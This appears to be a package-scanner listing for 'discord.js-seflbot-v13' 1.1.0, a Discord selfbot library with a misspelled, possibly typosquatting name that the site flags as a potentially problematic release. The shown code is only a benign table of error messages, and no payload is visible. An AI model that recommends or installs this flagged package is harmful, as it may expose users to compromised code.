discord.js-seflbot-v13 1.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of discord.js-seflbot-v13 might be problematic. Click here for more details.

Files changed (352) hide show
  1. package/LICENSE +674 -0
  2. package/README.md +128 -0
  3. package/package.json +103 -0
  4. package/src/WebSocket.js +39 -0
  5. package/src/client/BaseClient.js +87 -0
  6. package/src/client/Client.js +1102 -0
  7. package/src/client/WebhookClient.js +61 -0
  8. package/src/client/actions/Action.js +120 -0
  9. package/src/client/actions/ActionsManager.js +78 -0
  10. package/src/client/actions/ApplicationCommandPermissionsUpdate.js +34 -0
  11. package/src/client/actions/AutoModerationActionExecution.js +26 -0
  12. package/src/client/actions/AutoModerationRuleCreate.js +27 -0
  13. package/src/client/actions/AutoModerationRuleDelete.js +31 -0
  14. package/src/client/actions/AutoModerationRuleUpdate.js +29 -0
  15. package/src/client/actions/ChannelCreate.js +23 -0
  16. package/src/client/actions/ChannelDelete.js +39 -0
  17. package/src/client/actions/ChannelUpdate.js +43 -0
  18. package/src/client/actions/GuildAuditLogEntryCreate.js +29 -0
  19. package/src/client/actions/GuildBanAdd.js +20 -0
  20. package/src/client/actions/GuildBanRemove.js +25 -0
  21. package/src/client/actions/GuildChannelsPositionUpdate.js +21 -0
  22. package/src/client/actions/GuildDelete.js +65 -0
  23. package/src/client/actions/GuildEmojiCreate.js +20 -0
  24. package/src/client/actions/GuildEmojiDelete.js +21 -0
  25. package/src/client/actions/GuildEmojiUpdate.js +20 -0
  26. package/src/client/actions/GuildEmojisUpdate.js +34 -0
  27. package/src/client/actions/GuildIntegrationsUpdate.js +19 -0
  28. package/src/client/actions/GuildMemberRemove.js +33 -0
  29. package/src/client/actions/GuildMemberUpdate.js +44 -0
  30. package/src/client/actions/GuildRoleCreate.js +25 -0
  31. package/src/client/actions/GuildRoleDelete.js +31 -0
  32. package/src/client/actions/GuildRoleUpdate.js +39 -0
  33. package/src/client/actions/GuildRolesPositionUpdate.js +21 -0
  34. package/src/client/actions/GuildScheduledEventCreate.js +27 -0
  35. package/src/client/actions/GuildScheduledEventDelete.js +31 -0
  36. package/src/client/actions/GuildScheduledEventUpdate.js +30 -0
  37. package/src/client/actions/GuildScheduledEventUserAdd.js +32 -0
  38. package/src/client/actions/GuildScheduledEventUserRemove.js +32 -0
  39. package/src/client/actions/GuildStickerCreate.js +20 -0
  40. package/src/client/actions/GuildStickerDelete.js +21 -0
  41. package/src/client/actions/GuildStickerUpdate.js +20 -0
  42. package/src/client/actions/GuildStickersUpdate.js +34 -0
  43. package/src/client/actions/GuildUpdate.js +33 -0
  44. package/src/client/actions/InteractionCreate.js +115 -0
  45. package/src/client/actions/InviteCreate.js +28 -0
  46. package/src/client/actions/InviteDelete.js +30 -0
  47. package/src/client/actions/MessageCreate.js +61 -0
  48. package/src/client/actions/MessageDelete.js +32 -0
  49. package/src/client/actions/MessageDeleteBulk.js +46 -0
  50. package/src/client/actions/MessageReactionAdd.js +56 -0
  51. package/src/client/actions/MessageReactionRemove.js +45 -0
  52. package/src/client/actions/MessageReactionRemoveAll.js +33 -0
  53. package/src/client/actions/MessageReactionRemoveEmoji.js +28 -0
  54. package/src/client/actions/MessageUpdate.js +26 -0
  55. package/src/client/actions/PresenceUpdate.js +45 -0
  56. package/src/client/actions/StageInstanceCreate.js +28 -0
  57. package/src/client/actions/StageInstanceDelete.js +33 -0
  58. package/src/client/actions/StageInstanceUpdate.js +30 -0
  59. package/src/client/actions/ThreadCreate.js +24 -0
  60. package/src/client/actions/ThreadDelete.js +32 -0
  61. package/src/client/actions/ThreadListSync.js +59 -0
  62. package/src/client/actions/ThreadMemberUpdate.js +30 -0
  63. package/src/client/actions/ThreadMembersUpdate.js +34 -0
  64. package/src/client/actions/TypingStart.js +29 -0
  65. package/src/client/actions/UserUpdate.js +35 -0
  66. package/src/client/actions/VoiceStateUpdate.js +57 -0
  67. package/src/client/actions/WebhooksUpdate.js +20 -0
  68. package/src/client/voice/ClientVoiceManager.js +51 -0
  69. package/src/client/websocket/WebSocketManager.js +412 -0
  70. package/src/client/websocket/WebSocketShard.js +905 -0
  71. package/src/client/websocket/handlers/APPLICATION_COMMAND_AUTOCOMPLETE_RESPONSE.js +23 -0
  72. package/src/client/websocket/handlers/APPLICATION_COMMAND_CREATE.js +18 -0
  73. package/src/client/websocket/handlers/APPLICATION_COMMAND_DELETE.js +20 -0
  74. package/src/client/websocket/handlers/APPLICATION_COMMAND_PERMISSIONS_UPDATE.js +5 -0
  75. package/src/client/websocket/handlers/APPLICATION_COMMAND_UPDATE.js +20 -0
  76. package/src/client/websocket/handlers/AUTO_MODERATION_ACTION_EXECUTION.js +5 -0
  77. package/src/client/websocket/handlers/AUTO_MODERATION_RULE_CREATE.js +5 -0
  78. package/src/client/websocket/handlers/AUTO_MODERATION_RULE_DELETE.js +5 -0
  79. package/src/client/websocket/handlers/AUTO_MODERATION_RULE_UPDATE.js +5 -0
  80. package/src/client/websocket/handlers/CALL_CREATE.js +14 -0
  81. package/src/client/websocket/handlers/CALL_DELETE.js +11 -0
  82. package/src/client/websocket/handlers/CALL_UPDATE.js +11 -0
  83. package/src/client/websocket/handlers/CHANNEL_CREATE.js +5 -0
  84. package/src/client/websocket/handlers/CHANNEL_DELETE.js +5 -0
  85. package/src/client/websocket/handlers/CHANNEL_PINS_UPDATE.js +22 -0
  86. package/src/client/websocket/handlers/CHANNEL_RECIPIENT_ADD.js +16 -0
  87. package/src/client/websocket/handlers/CHANNEL_RECIPIENT_REMOVE.js +16 -0
  88. package/src/client/websocket/handlers/CHANNEL_UPDATE.js +16 -0
  89. package/src/client/websocket/handlers/GUILD_APPLICATION_COMMANDS_UPDATE.js +11 -0
  90. package/src/client/websocket/handlers/GUILD_AUDIT_LOG_ENTRY_CREATE.js +5 -0
  91. package/src/client/websocket/handlers/GUILD_BAN_ADD.js +5 -0
  92. package/src/client/websocket/handlers/GUILD_BAN_REMOVE.js +5 -0
  93. package/src/client/websocket/handlers/GUILD_CREATE.js +53 -0
  94. package/src/client/websocket/handlers/GUILD_DELETE.js +5 -0
  95. package/src/client/websocket/handlers/GUILD_EMOJIS_UPDATE.js +5 -0
  96. package/src/client/websocket/handlers/GUILD_INTEGRATIONS_UPDATE.js +5 -0
  97. package/src/client/websocket/handlers/GUILD_MEMBERS_CHUNK.js +39 -0
  98. package/src/client/websocket/handlers/GUILD_MEMBER_ADD.js +20 -0
  99. package/src/client/websocket/handlers/GUILD_MEMBER_LIST_UPDATE.js +55 -0
  100. package/src/client/websocket/handlers/GUILD_MEMBER_REMOVE.js +5 -0
  101. package/src/client/websocket/handlers/GUILD_MEMBER_UPDATE.js +5 -0
  102. package/src/client/websocket/handlers/GUILD_ROLE_CREATE.js +5 -0
  103. package/src/client/websocket/handlers/GUILD_ROLE_DELETE.js +5 -0
  104. package/src/client/websocket/handlers/GUILD_ROLE_UPDATE.js +5 -0
  105. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_CREATE.js +5 -0
  106. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_DELETE.js +5 -0
  107. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_UPDATE.js +5 -0
  108. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_USER_ADD.js +5 -0
  109. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_USER_REMOVE.js +5 -0
  110. package/src/client/websocket/handlers/GUILD_SOUNDBOARD_SOUNDS_UPDATE.js +0 -0
  111. package/src/client/websocket/handlers/GUILD_SOUNDBOARD_SOUND_CREATE.js +0 -0
  112. package/src/client/websocket/handlers/GUILD_SOUNDBOARD_SOUND_DELETE.js +0 -0
  113. package/src/client/websocket/handlers/GUILD_SOUNDBOARD_SOUND_UPDATE.js +0 -0
  114. package/src/client/websocket/handlers/GUILD_STICKERS_UPDATE.js +5 -0
  115. package/src/client/websocket/handlers/GUILD_UPDATE.js +5 -0
  116. package/src/client/websocket/handlers/INTERACTION_CREATE.js +16 -0
  117. package/src/client/websocket/handlers/INTERACTION_FAILURE.js +18 -0
  118. package/src/client/websocket/handlers/INTERACTION_MODAL_CREATE.js +11 -0
  119. package/src/client/websocket/handlers/INTERACTION_SUCCESS.js +30 -0
  120. package/src/client/websocket/handlers/INVITE_CREATE.js +5 -0
  121. package/src/client/websocket/handlers/INVITE_DELETE.js +5 -0
  122. package/src/client/websocket/handlers/MESSAGE_ACK.js +16 -0
  123. package/src/client/websocket/handlers/MESSAGE_CREATE.js +5 -0
  124. package/src/client/websocket/handlers/MESSAGE_DELETE.js +5 -0
  125. package/src/client/websocket/handlers/MESSAGE_DELETE_BULK.js +5 -0
  126. package/src/client/websocket/handlers/MESSAGE_REACTION_ADD.js +5 -0
  127. package/src/client/websocket/handlers/MESSAGE_REACTION_REMOVE.js +5 -0
  128. package/src/client/websocket/handlers/MESSAGE_REACTION_REMOVE_ALL.js +5 -0
  129. package/src/client/websocket/handlers/MESSAGE_REACTION_REMOVE_EMOJI.js +5 -0
  130. package/src/client/websocket/handlers/MESSAGE_UPDATE.js +16 -0
  131. package/src/client/websocket/handlers/PRESENCE_UPDATE.js +5 -0
  132. package/src/client/websocket/handlers/READY.js +171 -0
  133. package/src/client/websocket/handlers/RELATIONSHIP_ADD.js +17 -0
  134. package/src/client/websocket/handlers/RELATIONSHIP_REMOVE.js +15 -0
  135. package/src/client/websocket/handlers/RELATIONSHIP_UPDATE.js +18 -0
  136. package/src/client/websocket/handlers/RESUMED.js +14 -0
  137. package/src/client/websocket/handlers/SOUNDBOARD_SOUNDS.js +0 -0
  138. package/src/client/websocket/handlers/STAGE_INSTANCE_CREATE.js +5 -0
  139. package/src/client/websocket/handlers/STAGE_INSTANCE_DELETE.js +5 -0
  140. package/src/client/websocket/handlers/STAGE_INSTANCE_UPDATE.js +5 -0
  141. package/src/client/websocket/handlers/THREAD_CREATE.js +5 -0
  142. package/src/client/websocket/handlers/THREAD_DELETE.js +5 -0
  143. package/src/client/websocket/handlers/THREAD_LIST_SYNC.js +5 -0
  144. package/src/client/websocket/handlers/THREAD_MEMBERS_UPDATE.js +5 -0
  145. package/src/client/websocket/handlers/THREAD_MEMBER_UPDATE.js +5 -0
  146. package/src/client/websocket/handlers/THREAD_UPDATE.js +16 -0
  147. package/src/client/websocket/handlers/TYPING_START.js +5 -0
  148. package/src/client/websocket/handlers/USER_GUILD_SETTINGS_UPDATE.js +12 -0
  149. package/src/client/websocket/handlers/USER_NOTE_UPDATE.js +5 -0
  150. package/src/client/websocket/handlers/USER_REQUIRED_ACTION_UPDATE.js +5 -0
  151. package/src/client/websocket/handlers/USER_SETTINGS_UPDATE.js +9 -0
  152. package/src/client/websocket/handlers/USER_UPDATE.js +5 -0
  153. package/src/client/websocket/handlers/VOICE_CHANNEL_EFFECT_SEND.js +0 -0
  154. package/src/client/websocket/handlers/VOICE_SERVER_UPDATE.js +6 -0
  155. package/src/client/websocket/handlers/VOICE_STATE_UPDATE.js +5 -0
  156. package/src/client/websocket/handlers/WEBHOOKS_UPDATE.js +5 -0
  157. package/src/client/websocket/handlers/index.js +87 -0
  158. package/src/errors/DJSError.js +61 -0
  159. package/src/errors/Messages.js +228 -0
  160. package/src/errors/index.js +4 -0
  161. package/src/index.js +194 -0
  162. package/src/main.js +1 -0
  163. package/src/managers/ApplicationCommandManager.js +267 -0
  164. package/src/managers/ApplicationCommandPermissionsManager.js +425 -0
  165. package/src/managers/AutoModerationRuleManager.js +296 -0
  166. package/src/managers/BaseGuildEmojiManager.js +80 -0
  167. package/src/managers/BaseManager.js +19 -0
  168. package/src/managers/BillingManager.js +66 -0
  169. package/src/managers/CachedManager.js +71 -0
  170. package/src/managers/ChannelManager.js +139 -0
  171. package/src/managers/ClientUserSettingManager.js +490 -0
  172. package/src/managers/DataManager.js +61 -0
  173. package/src/managers/DeveloperPortalManager.js +104 -0
  174. package/src/managers/GuildApplicationCommandManager.js +28 -0
  175. package/src/managers/GuildBanManager.js +204 -0
  176. package/src/managers/GuildChannelManager.js +504 -0
  177. package/src/managers/GuildEmojiManager.js +171 -0
  178. package/src/managers/GuildEmojiRoleManager.js +118 -0
  179. package/src/managers/GuildFolderManager.js +24 -0
  180. package/src/managers/GuildForumThreadManager.js +114 -0
  181. package/src/managers/GuildInviteManager.js +213 -0
  182. package/src/managers/GuildManager.js +304 -0
  183. package/src/managers/GuildMemberManager.js +772 -0
  184. package/src/managers/GuildMemberRoleManager.js +191 -0
  185. package/src/managers/GuildScheduledEventManager.js +296 -0
  186. package/src/managers/GuildSettingManager.js +148 -0
  187. package/src/managers/GuildStickerManager.js +179 -0
  188. package/src/managers/GuildTextThreadManager.js +98 -0
  189. package/src/managers/InteractionManager.js +39 -0
  190. package/src/managers/MessageManager.js +393 -0
  191. package/src/managers/PermissionOverwriteManager.js +166 -0
  192. package/src/managers/PresenceManager.js +58 -0
  193. package/src/managers/ReactionManager.js +67 -0
  194. package/src/managers/ReactionUserManager.js +71 -0
  195. package/src/managers/RelationshipManager.js +258 -0
  196. package/src/managers/RoleManager.js +352 -0
  197. package/src/managers/SessionManager.js +57 -0
  198. package/src/managers/StageInstanceManager.js +162 -0
  199. package/src/managers/ThreadManager.js +207 -0
  200. package/src/managers/ThreadMemberManager.js +186 -0
  201. package/src/managers/UserManager.js +150 -0
  202. package/src/managers/VoiceStateManager.js +37 -0
  203. package/src/rest/APIRequest.js +133 -0
  204. package/src/rest/APIRouter.js +53 -0
  205. package/src/rest/CaptchaSolver.js +139 -0
  206. package/src/rest/DiscordAPIError.js +103 -0
  207. package/src/rest/HTTPError.js +62 -0
  208. package/src/rest/RESTManager.js +82 -0
  209. package/src/rest/RateLimitError.js +55 -0
  210. package/src/rest/RequestHandler.js +430 -0
  211. package/src/sharding/Shard.js +443 -0
  212. package/src/sharding/ShardClientUtil.js +275 -0
  213. package/src/sharding/ShardingManager.js +318 -0
  214. package/src/structures/AnonymousGuild.js +98 -0
  215. package/src/structures/ApplicationCommand.js +1030 -0
  216. package/src/structures/ApplicationRoleConnectionMetadata.js +45 -0
  217. package/src/structures/AutoModerationActionExecution.js +89 -0
  218. package/src/structures/AutoModerationRule.js +294 -0
  219. package/src/structures/AutocompleteInteraction.js +106 -0
  220. package/src/structures/Base.js +43 -0
  221. package/src/structures/BaseCommandInteraction.js +211 -0
  222. package/src/structures/BaseGuild.js +116 -0
  223. package/src/structures/BaseGuildEmoji.js +56 -0
  224. package/src/structures/BaseGuildTextChannel.js +203 -0
  225. package/src/structures/BaseGuildVoiceChannel.js +243 -0
  226. package/src/structures/BaseMessageComponent.js +114 -0
  227. package/src/structures/ButtonInteraction.js +11 -0
  228. package/src/structures/Call.js +58 -0
  229. package/src/structures/CategoryChannel.js +85 -0
  230. package/src/structures/Channel.js +271 -0
  231. package/src/structures/ClientApplication.js +233 -0
  232. package/src/structures/ClientPresence.js +92 -0
  233. package/src/structures/ClientUser.js +635 -0
  234. package/src/structures/CommandInteraction.js +41 -0
  235. package/src/structures/CommandInteractionOptionResolver.js +276 -0
  236. package/src/structures/ContextMenuInteraction.js +65 -0
  237. package/src/structures/DMChannel.js +289 -0
  238. package/src/structures/DeveloperPortalApplication.js +520 -0
  239. package/src/structures/DirectoryChannel.js +20 -0
  240. package/src/structures/Emoji.js +148 -0
  241. package/src/structures/ForumChannel.js +271 -0
  242. package/src/structures/Guild.js +1744 -0
  243. package/src/structures/GuildAuditLogs.js +734 -0
  244. package/src/structures/GuildBan.js +59 -0
  245. package/src/structures/GuildBoost.js +108 -0
  246. package/src/structures/GuildChannel.js +468 -0
  247. package/src/structures/GuildEmoji.js +161 -0
  248. package/src/structures/GuildFolder.js +75 -0
  249. package/src/structures/GuildMember.js +686 -0
  250. package/src/structures/GuildPreview.js +191 -0
  251. package/src/structures/GuildPreviewEmoji.js +27 -0
  252. package/src/structures/GuildScheduledEvent.js +441 -0
  253. package/src/structures/GuildTemplate.js +236 -0
  254. package/src/structures/Integration.js +188 -0
  255. package/src/structures/IntegrationApplication.js +96 -0
  256. package/src/structures/Interaction.js +351 -0
  257. package/src/structures/InteractionCollector.js +248 -0
  258. package/src/structures/InteractionResponse.js +114 -0
  259. package/src/structures/InteractionWebhook.js +43 -0
  260. package/src/structures/Invite.js +375 -0
  261. package/src/structures/InviteGuild.js +23 -0
  262. package/src/structures/InviteStageInstance.js +86 -0
  263. package/src/structures/Message.js +1188 -0
  264. package/src/structures/MessageActionRow.js +103 -0
  265. package/src/structures/MessageAttachment.js +204 -0
  266. package/src/structures/MessageButton.js +231 -0
  267. package/src/structures/MessageCollector.js +146 -0
  268. package/src/structures/MessageComponentInteraction.js +120 -0
  269. package/src/structures/MessageContextMenuInteraction.js +20 -0
  270. package/src/structures/MessageEmbed.js +586 -0
  271. package/src/structures/MessageMentions.js +272 -0
  272. package/src/structures/MessagePayload.js +358 -0
  273. package/src/structures/MessageReaction.js +171 -0
  274. package/src/structures/MessageSelectMenu.js +391 -0
  275. package/src/structures/Modal.js +279 -0
  276. package/src/structures/ModalSubmitFieldsResolver.js +53 -0
  277. package/src/structures/ModalSubmitInteraction.js +119 -0
  278. package/src/structures/NewsChannel.js +32 -0
  279. package/src/structures/OAuth2Guild.js +28 -0
  280. package/src/structures/PartialGroupDMChannel.js +449 -0
  281. package/src/structures/PermissionOverwrites.js +196 -0
  282. package/src/structures/Presence.js +443 -0
  283. package/src/structures/ReactionCollector.js +229 -0
  284. package/src/structures/ReactionEmoji.js +31 -0
  285. package/src/structures/RichPresence.js +722 -0
  286. package/src/structures/Role.js +531 -0
  287. package/src/structures/SelectMenuInteraction.js +170 -0
  288. package/src/structures/Session.js +81 -0
  289. package/src/structures/StageChannel.js +104 -0
  290. package/src/structures/StageInstance.js +208 -0
  291. package/src/structures/Sticker.js +310 -0
  292. package/src/structures/StickerPack.js +95 -0
  293. package/src/structures/StoreChannel.js +56 -0
  294. package/src/structures/Team.js +167 -0
  295. package/src/structures/TeamMember.js +71 -0
  296. package/src/structures/TextChannel.js +33 -0
  297. package/src/structures/TextInputComponent.js +201 -0
  298. package/src/structures/ThreadChannel.js +626 -0
  299. package/src/structures/ThreadMember.js +105 -0
  300. package/src/structures/Typing.js +74 -0
  301. package/src/structures/User.js +730 -0
  302. package/src/structures/UserContextMenuInteraction.js +29 -0
  303. package/src/structures/VoiceChannel.js +110 -0
  304. package/src/structures/VoiceRegion.js +53 -0
  305. package/src/structures/VoiceState.js +353 -0
  306. package/src/structures/WebEmbed.js +412 -0
  307. package/src/structures/Webhook.js +461 -0
  308. package/src/structures/WelcomeChannel.js +60 -0
  309. package/src/structures/WelcomeScreen.js +48 -0
  310. package/src/structures/Widget.js +87 -0
  311. package/src/structures/WidgetMember.js +99 -0
  312. package/src/structures/interfaces/Application.js +190 -0
  313. package/src/structures/interfaces/Collector.js +300 -0
  314. package/src/structures/interfaces/InteractionResponses.js +313 -0
  315. package/src/structures/interfaces/TextBasedChannel.js +566 -0
  316. package/src/util/ActivityFlags.js +44 -0
  317. package/src/util/ApplicationFlags.js +76 -0
  318. package/src/util/AttachmentFlags.js +38 -0
  319. package/src/util/BitField.js +170 -0
  320. package/src/util/ChannelFlags.js +45 -0
  321. package/src/util/Constants.js +1940 -0
  322. package/src/util/DataResolver.js +145 -0
  323. package/src/util/Formatters.js +214 -0
  324. package/src/util/GuildMemberFlags.js +43 -0
  325. package/src/util/Intents.js +74 -0
  326. package/src/util/LimitedCollection.js +131 -0
  327. package/src/util/MessageFlags.js +54 -0
  328. package/src/util/Options.js +364 -0
  329. package/src/util/Permissions.js +187 -0
  330. package/src/util/PremiumUsageFlags.js +31 -0
  331. package/src/util/PurchasedFlags.js +31 -0
  332. package/src/util/RemoteAuth.js +514 -0
  333. package/src/util/RoleFlags.js +37 -0
  334. package/src/util/SnowflakeUtil.js +92 -0
  335. package/src/util/Sweepers.js +466 -0
  336. package/src/util/SystemChannelFlags.js +55 -0
  337. package/src/util/ThreadMemberFlags.js +30 -0
  338. package/src/util/UserFlags.js +104 -0
  339. package/src/util/Util.js +882 -0
  340. package/src/util/Voice.js +1456 -0
  341. package/src/util/arRPC/index.js +229 -0
  342. package/src/util/arRPC/process/detectable.json +1 -0
  343. package/src/util/arRPC/process/index.js +102 -0
  344. package/src/util/arRPC/process/native/index.js +5 -0
  345. package/src/util/arRPC/process/native/linux.js +37 -0
  346. package/src/util/arRPC/process/native/win32.js +25 -0
  347. package/src/util/arRPC/transports/ipc.js +281 -0
  348. package/src/util/arRPC/transports/websocket.js +128 -0
  349. package/typings/enums.d.ts +346 -0
  350. package/typings/index.d.ts +7776 -0
  351. package/typings/index.test-d.ts +0 -0
  352. package/typings/rawDataTypes.d.ts +283 -0
@@ -0,0 +1,228 @@
1
+ 'use strict';
2
+
3
+ const { register } = require('./DJSError');
4
+
5
+ const Messages = {
6
+ CLIENT_INVALID_OPTION: (prop, must) => `The ${prop} option must be ${must}`,
7
+ CLIENT_INVALID_PROVIDED_SHARDS: 'None of the provided shards were valid.',
8
+ CLIENT_MISSING_INTENTS: 'Valid intents must be provided for the Client.',
9
+ CLIENT_NOT_READY: action => `The client needs to be logged in to ${action}.`,
10
+
11
+ TOKEN_INVALID: 'An invalid token was provided.',
12
+ TOKEN_MISSING: 'Request to use token, but token was unavailable to the client.',
13
+
14
+ MFA_INVALID: 'An invalid mfa code was provided',
15
+
16
+ WS_CLOSE_REQUESTED: 'WebSocket closed due to user request.',
17
+ WS_CONNECTION_EXISTS: 'There is already an existing WebSocket connection.',
18
+ WS_NOT_OPEN: (data = 'data') => `WebSocket not open to send ${data}`,
19
+ MANAGER_DESTROYED: 'Manager was destroyed.',
20
+
21
+ BITFIELD_INVALID: bit => `Invalid bitfield flag or number: ${bit}.`,
22
+
23
+ SHARDING_INVALID: 'Invalid shard settings were provided.',
24
+ SHARDING_REQUIRED: 'This session would have handled too many guilds - Sharding is required.',
25
+ INVALID_INTENTS: '[Bot Token] Invalid intent provided for WebSocket intents.',
26
+ DISALLOWED_INTENTS: '[Bot Token] Privileged intent provided is not enabled or whitelisted.',
27
+ SHARDING_NO_SHARDS: 'No shards have been spawned.',
28
+ SHARDING_IN_PROCESS: 'Shards are still being spawned.',
29
+ SHARDING_INVALID_EVAL_BROADCAST: 'Script to evaluate must be a function',
30
+ SHARDING_SHARD_NOT_FOUND: id => `Shard ${id} could not be found.`,
31
+ SHARDING_ALREADY_SPAWNED: count => `Already spawned ${count} shards.`,
32
+ SHARDING_PROCESS_EXISTS: id => `Shard ${id} already has an active process.`,
33
+ SHARDING_WORKER_EXISTS: id => `Shard ${id} already has an active worker.`,
34
+ SHARDING_READY_TIMEOUT: id => `Shard ${id}'s Client took too long to become ready.`,
35
+ SHARDING_READY_DISCONNECTED: id => `Shard ${id}'s Client disconnected before becoming ready.`,
36
+ SHARDING_READY_DIED: id => `Shard ${id}'s process exited before its Client became ready.`,
37
+ SHARDING_NO_CHILD_EXISTS: id => `Shard ${id} has no active process or worker.`,
38
+ SHARDING_SHARD_MISCALCULATION: (shard, guild, count) =>
39
+ `Calculated invalid shard ${shard} for guild ${guild} with ${count} shards.`,
40
+
41
+ COLOR_RANGE: 'Color must be within the range 0 - 16777215 (0xFFFFFF).',
42
+ COLOR_CONVERT: 'Unable to convert color to a number.',
43
+
44
+ INVITE_OPTIONS_MISSING_CHANNEL: 'A valid guild channel must be provided when GuildScheduledEvent is EXTERNAL.',
45
+
46
+ EMBED_TITLE: 'MessageEmbed title must be a string.',
47
+ EMBED_FIELD_NAME: 'MessageEmbed field names must be non-empty strings.',
48
+ EMBED_FIELD_VALUE: 'MessageEmbed field values must be non-empty strings.',
49
+ EMBED_FOOTER_TEXT: 'MessageEmbed footer text must be a string.',
50
+ EMBED_DESCRIPTION: 'MessageEmbed description must be a string.',
51
+ EMBED_AUTHOR_NAME: 'MessageEmbed author name must be a string.',
52
+ /* Add */
53
+ MISSING_PERMISSIONS: (...permission) => `You can't do this action [Missing Permission(s): ${permission.join(', ')}]`,
54
+ EMBED_PROVIDER_NAME: 'MessageEmbed provider name must be a string.',
55
+ INVALID_COMMAND_NAME: allCMD => `Could not parse subGroupCommand and subCommand due to too long: ${allCMD.join(' ')}`,
56
+ INVALID_RANGE_QUERY_MEMBER: 'Invalid range query member. (0<x<=100)',
57
+ MUST_SPECIFY_BOT: 'You must specify a bot to use this command.',
58
+
59
+ BUTTON_LABEL: 'MessageButton label must be a string',
60
+ BUTTON_URL: 'MessageButton URL must be a string',
61
+ BUTTON_CUSTOM_ID: 'MessageButton customId must be a string',
62
+
63
+ SELECT_MENU_CUSTOM_ID: 'MessageSelectMenu customId must be a string',
64
+ SELECT_MENU_PLACEHOLDER: 'MessageSelectMenu placeholder must be a string',
65
+ SELECT_OPTION_LABEL: 'MessageSelectOption label must be a string',
66
+ SELECT_OPTION_VALUE: 'MessageSelectOption value must be a string',
67
+ SELECT_OPTION_DESCRIPTION: 'MessageSelectOption description must be a string',
68
+
69
+ INTERACTION_COLLECTOR_ERROR: reason => `Collector received no interactions before ending with reason: ${reason}`,
70
+
71
+ FILE_NOT_FOUND: file => `File could not be found: ${file}`,
72
+
73
+ USER_BANNER_NOT_FETCHED: "You must fetch this user's banner before trying to generate its URL!",
74
+ USER_NO_DM_CHANNEL: 'No DM Channel exists!',
75
+ CLIENT_NO_CALL: 'No call exists!',
76
+
77
+ VOICE_NOT_STAGE_CHANNEL: 'You are only allowed to do this in stage channels.',
78
+ VOICE_NOT_IN_GUILD: 'You are only allowed to do this in guild channels.',
79
+
80
+ VOICE_STATE_NOT_OWN:
81
+ 'You cannot self-deafen/mute/request to speak on VoiceStates that do not belong to the ClientUser.',
82
+ VOICE_STATE_INVALID_TYPE: name => `${name} must be a boolean.`,
83
+
84
+ REQ_RESOURCE_TYPE: 'The resource must be a string, Buffer or a valid file stream.',
85
+
86
+ IMAGE_FORMAT: format => `Invalid image format: ${format}`,
87
+ IMAGE_SIZE: size => `Invalid image size: ${size}`,
88
+
89
+ MESSAGE_BULK_DELETE_TYPE: 'The messages must be an Array, Collection, or number.',
90
+ MESSAGE_NONCE_TYPE: 'Message nonce must be an integer or a string.',
91
+ MESSAGE_CONTENT_TYPE: 'Message content must be a non-empty string.',
92
+
93
+ SPLIT_MAX_LEN: 'Chunk exceeds the max length and contains no split characters.',
94
+
95
+ BAN_RESOLVE_ID: (ban = false) => `Couldn't resolve the user id to ${ban ? 'ban' : 'unban'}.`,
96
+ FETCH_BAN_RESOLVE_ID: "Couldn't resolve the user id to fetch the ban.",
97
+
98
+ PRUNE_DAYS_TYPE: 'Days must be a number',
99
+
100
+ GUILD_CHANNEL_RESOLVE: 'Could not resolve channel to a guild channel.',
101
+ GUILD_VOICE_CHANNEL_RESOLVE: 'Could not resolve channel to a guild voice channel.',
102
+ GUILD_CHANNEL_ORPHAN: 'Could not find a parent to this guild channel.',
103
+ GUILD_CHANNEL_UNOWNED: "The fetched channel does not belong to this manager's guild.",
104
+ GUILD_OWNED: 'Guild is owned by the client.',
105
+ GUILD_MEMBERS_TIMEOUT: "Members didn't arrive in time.",
106
+ GUILD_APPLICATION_COMMANDS_SEARCH_TIMEOUT: "Application commands didn't arrive in time.",
107
+ GUILD_UNCACHED_ME: 'The client user as a member of this guild is uncached.',
108
+ CHANNEL_NOT_CACHED: 'Could not find the channel where this message came from in the cache!',
109
+ STAGE_CHANNEL_RESOLVE: 'Could not resolve channel to a stage channel.',
110
+ GUILD_SCHEDULED_EVENT_RESOLVE: 'Could not resolve the guild scheduled event.',
111
+
112
+ REQUIRE_PASSWORD: 'You must provide a password.',
113
+ INVALIDATE_MEMBER: range => `Invalid member range: [${range[0]}, ${range[1]}]`,
114
+
115
+ MISSING_VALUE: (where, type) => `Missing value for ${where} (${type})`,
116
+
117
+ INVALID_TYPE: (name, expected, an = false) => `Supplied ${name} is not a${an ? 'n' : ''} ${expected}.`,
118
+ INVALID_ELEMENT: (type, name, elem) => `Supplied ${type} ${name} includes an invalid element: ${elem}`,
119
+
120
+ MESSAGE_THREAD_PARENT: 'The message was not sent in a guild text or news channel',
121
+ MESSAGE_EXISTING_THREAD: 'The message already has a thread',
122
+ THREAD_INVITABLE_TYPE: type => `Invitable cannot be edited on ${type}`,
123
+
124
+ WEBHOOK_MESSAGE: 'The message was not sent by a webhook.',
125
+ WEBHOOK_TOKEN_UNAVAILABLE: 'This action requires a webhook token, but none is available.',
126
+ WEBHOOK_URL_INVALID: 'The provided webhook URL is not valid.',
127
+ WEBHOOK_APPLICATION: 'This message webhook belongs to an application and cannot be fetched.',
128
+ MESSAGE_REFERENCE_MISSING: 'The message does not reference another message',
129
+
130
+ EMOJI_TYPE: 'Emoji must be a string or GuildEmoji/ReactionEmoji',
131
+ EMOJI_MANAGED: 'Emoji is managed and has no Author.',
132
+ MISSING_MANAGE_EMOJIS_AND_STICKERS_PERMISSION: guild =>
133
+ `Client must have Manage Emojis and Stickers permission in guild ${guild} to see emoji authors.`,
134
+ NOT_GUILD_STICKER: 'Sticker is a standard (non-guild) sticker and has no author.',
135
+
136
+ REACTION_RESOLVE_USER: "Couldn't resolve the user id to remove from the reaction.",
137
+
138
+ VANITY_URL: 'This guild does not have the VANITY_URL feature enabled.',
139
+
140
+ INVITE_RESOLVE_CODE: 'Could not resolve the code to fetch the invite.',
141
+
142
+ INVITE_NOT_FOUND: 'Could not find the requested invite.',
143
+
144
+ NOT_OWNER_GROUP_DM_CHANNEL: "You can't do this action [Missing Permission]",
145
+ USER_ALREADY_IN_GROUP_DM_CHANNEL: 'User is already in the channel.',
146
+ USER_NOT_IN_GROUP_DM_CHANNEL: 'User is not in the channel.',
147
+
148
+ DELETE_GROUP_DM_CHANNEL: "Bots don't have access to Group DM Channels and cannot delete them",
149
